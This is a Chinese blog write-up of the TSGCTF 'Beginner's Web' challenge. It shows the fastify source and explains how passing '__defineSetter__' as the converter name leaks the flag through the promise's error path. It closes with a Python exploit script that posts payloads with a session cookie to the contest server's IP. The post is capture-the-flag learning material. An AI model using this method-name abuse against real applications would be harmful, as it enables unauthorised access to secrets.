TSGCTF-web Beginner's Web (js内置方法__defineSetter__)

 1 const fastify = require('fastify');
 2 const nunjucks = require('nunjucks');
 3 const crypto = require('crypto');
 4 
 5 
 6 const converters = {};
 7 
 8 const flagConverter = (input, callback) => {
 9   const flag = '*** CENSORED ***';
10   callback(null, flag);
11 };
12 
13 const base64Converter = (input, callback) => {
14   try {
15     const result = Buffer.from(input).toString('base64');
16     callback(null, result)
17   } catch (error) {
18     callback(error);
19   }
20 };
21 
22 const scryptConverter = (input, callback) => {
23   crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
24     if (error) {
25       callback(error);
26     } else {
27       callback(null, key.toString('hex'));
28     }
29   });
30 };
31 
32 
33 const app = fastify();
34 app.register(require('point-of-view'), {engine: {nunjucks}});
35 app.register(require('fastify-formbody'));
36 app.register(require('fastify-cookie'));
37 app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});
38 
39 app.get('/', async (request, reply) => {
40   reply.view('index.html', {sessionId: request.session.sessionId});
41 });
42 
43 app.post('/', async (request, reply) => {
44   if (request.body.converter.match(/[FLAG]/)) {
45     throw new Error("Don't be evil :)");
46   }
47 
48   if (request.body.input.length < 10) {
49     throw new Error('Too short :(');
50   }
51 
52   converters['base64'] = base64Converter;
53   converters['scrypt'] = scryptConverter;
54   converters[`FLAG_${request.session.sessionId}`] = flagConverter;
55 
56   const result = await new Promise((resolve, reject) => {
57     converters[request.body.converter](request.body.input, (error, result) => {
58       if (error) {
59         reject(error);
60       } else {
61         resolve(result);
62       }
63     });
64   });
65 
66   reply.view('index.html', {
67     input: request.body.input,
68     result,
69     sessionId: request.session.sessionId,
70   });
71 });
72 
73 app.setErrorHandler((error, request, reply) => {
74   reply.view('index.html', {error, sessionId: request.session.sessionId});
75 });
76 
77 app.listen(59101, '0.0.0.0');

 

 

 页面下方有显示出用户sessionID,结合源码不难看出可以利用flagConverter获得flag。因为有匹配,所以直接在converter参数传入FLAG_${request.session.sessionId}是行不通的。

 

利用__defineSetter__创造出名为FLAG_${request.session.sessionId}的数组键名 (${request.session.sessionId}表示sessionID)。

__defineSetter__介绍:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__

__defineSetter__有两个参数,第一个是属性,第二个是函数。实际上就是绑个函数在指定属性上,当指定属性被赋值时,该函数会被调用。

 

converters[request.body.converter](request.body.input, (error, result)是用户可控的,(error, result)是箭头函数有两个参数


input输入FLAG_${request.session.sessionId},converter参数输入__defineSetter__就可以成功把(error, result)绑在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}对应箭头函数的第一个参数error,最后能通过error把flag输出

我们还需要对promise有所了解    https://blog.csdn.net/new__person/article/details/103702562

 

 

因为 __defineSetter__没有被触发,promise不会有返回结果,所以http没有response

 

此时应该是这样的__defineSetter(FLAG_${request.session.sessionId},undefined)

 我们直接回到post

 

 

 红色箭头所指的是一个赋值操作,只要执行这条语句就能触发我们之前的__defineSetter__。非常的amazing啊,我们只要再发一个不会在前两个if判断挂掉的包就能成功触发。触发之后就会把FLAG_${request.session.sessionId}传入箭头函数,作为其第一个参数error,通过reject(error)输出。这里使用python发包

exp:

#!/usr/bin/python3
import threading
import requests
import time

cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
def sendPayload():
    r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
    print(r.text)

threading.Thread(target=sendPayload).start()
requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)

这题叫beginner可真是太艹了
本人js菜的抠脚,如果有不对的地方,望各位师傅斧正

 

posted @ 2020-07-24 21:28  remon535  阅读(323)  评论(0编辑  收藏  举报